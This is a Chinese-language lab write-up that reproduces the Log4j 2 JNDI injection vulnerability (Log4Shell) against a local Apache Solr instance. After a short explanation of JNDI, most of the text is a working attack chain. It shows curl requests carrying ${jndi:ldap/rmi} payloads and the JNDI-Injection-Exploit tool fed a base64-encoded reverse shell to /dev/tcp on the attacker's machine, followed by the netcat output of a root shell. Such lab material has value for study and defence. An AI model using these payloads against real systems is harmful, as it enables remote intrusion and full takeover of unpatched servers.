前言

原理概述

Apache Log4j 2 是Java语言的日志处理套件,在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

JNDI简单介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

漏洞侦察

漏洞可能存在于应用程序记录数据的任何位置。

这就是这种脆弱性的症结所在。不幸的是,很难确定不同应用程序的攻击面在哪里,因此,哪些应用程序实际上是脆弱的。仅仅看到log4j文件的存在并不能说明确切的版本号,甚至不能说明应用程序可能在何处或如何使用该软件包,只要可能有日志记录的地方都可能存在该漏洞

本地环境复现

概念验证

使用vulnhub启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1日志套件

其中的/admin/cores端点会将请求记录在solr.log中

那么可以进行JDNI注入

攻击机在9999端口开启监听

┌──(mikannse㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...

对这个端点发起任意参数的请求,传入一个jndi,使用ldap协议使其访问攻击机的9999端口

┌──(mikannse㉿kali)-[~]
└─$ curl 'http://192.168.244.129:8983/solr/admin/cores?foo=$\{jndi:ldap://192.168.244.128:9999\}'
{
"responseHeader":{
"status":0,
"QTime":2},
"initFailures":{},
"status":{
"demo":{
"name":"demo",
"instanceDir":"/opt/solr/server/solr/demo",
"dataDir":"/opt/solr/server/solr/demo/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2025-04-23T01:15:32.610Z",
"uptime":534528,
"index":{
"numDocs":46,
"maxDoc":46,
"deletedDocs":0,
"indexHeapUsageBytes":6116,
"version":6,
"segmentCount":1,
"current":true,
"hasDeletions":false,
"directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/opt/solr/server/solr/demo/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@383c4f9b; maxCacheMB=48.0 maxMergeSizeMB=4.0)",
"segmentsFile":"segments_2",
"segmentsFileSizeInBytes":220,
"userData":{
"commitCommandVer":"1830154059911266304",
"commitTimeMSec":"1745370922004"},
"lastModified":"2025-04-23T01:15:22.004Z",
"sizeInBytes":34206,
"size":"33.4 KB"}}}}

能够看到攻击机收到了请求

┌──(mikannse㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.244.128] from (UNKNOWN) [192.168.244.129] 34014
0
`�

Exploitation

使用 https://github.com/welk1n/JNDI-Injection-Exploit 可快速搭建携带恶意class文件的ldap和rmi服务器

其中-C参数指定需要执行的命令,这是使用的是

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

其中的”YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx”为

bash -i >& /dev/tcp/192.168.244.128/9999 0>&1 的base64编码形式,作用是进行一个反弹shell到攻击机的监听端口

-A 参数指定的是本机的ip或者域名,用于开启一个恶意服务器,这边采用的是rmi协议

┌──(mikannse㉿kali)-[~/tools/web/java]
└─$ java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.244.128

[ADDRESS] >> 192.168.244.128
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.244.128:1099/g4ggbg
ldap://192.168.244.128:1389/g4ggbg
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.244.128:1099/2n2nin
ldap://192.168.244.128:1389/2n2nin
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.244.128:1099/lziktn

----------------------------Server Log----------------------------
2025-04-23 10:08:13 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2025-04-23 10:08:13 [RMISERVER] >> Listening on 0.0.0.0:1099
2025-04-23 10:08:14 [LDAPSERVER] >> Listening on 0.0.0.0:1389

再次请求触发漏洞,使服务器请求我们所带有恶意载荷的服务器

┌──(mikannse㉿kali)-[~]
└─$ curl 'http://192.168.244.129:8983/solr/admin/cores?foo=$\{jndi:rmi://192.168.244.128:1099/g4ggbg\}'
{
"responseHeader":{
"status":0,
"QTime":1},
"initFailures":{},
"status":{
"demo":{
"name":"demo",
"instanceDir":"/opt/solr/server/solr/demo",
"dataDir":"/opt/solr/server/solr/demo/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2025-04-23T01:15:32.610Z",
"uptime":3228184,
"index":{
"numDocs":46,
"maxDoc":46,
"deletedDocs":0,
"indexHeapUsageBytes":6116,
"version":6,
"segmentCount":1,
"current":true,
"hasDeletions":false,
"directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/opt/solr/server/solr/demo/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@383c4f9b; maxCacheMB=48.0 maxMergeSizeMB=4.0)",
"segmentsFile":"segments_2",
"segmentsFileSizeInBytes":220,
"userData":{
"commitCommandVer":"1830154059911266304",
"commitTimeMSec":"1745370922004"},
"lastModified":"2025-04-23T01:15:22.004Z",
"sizeInBytes":34206,
"size":"33.4 KB"}}}}

攻击机成功收到shell,拿到服务器权限

┌──(mikannse㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.244.128] from (UNKNOWN) [192.168.244.129] 33772
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@cda55e6c1567:/opt/solr/server# whoami
whoami
root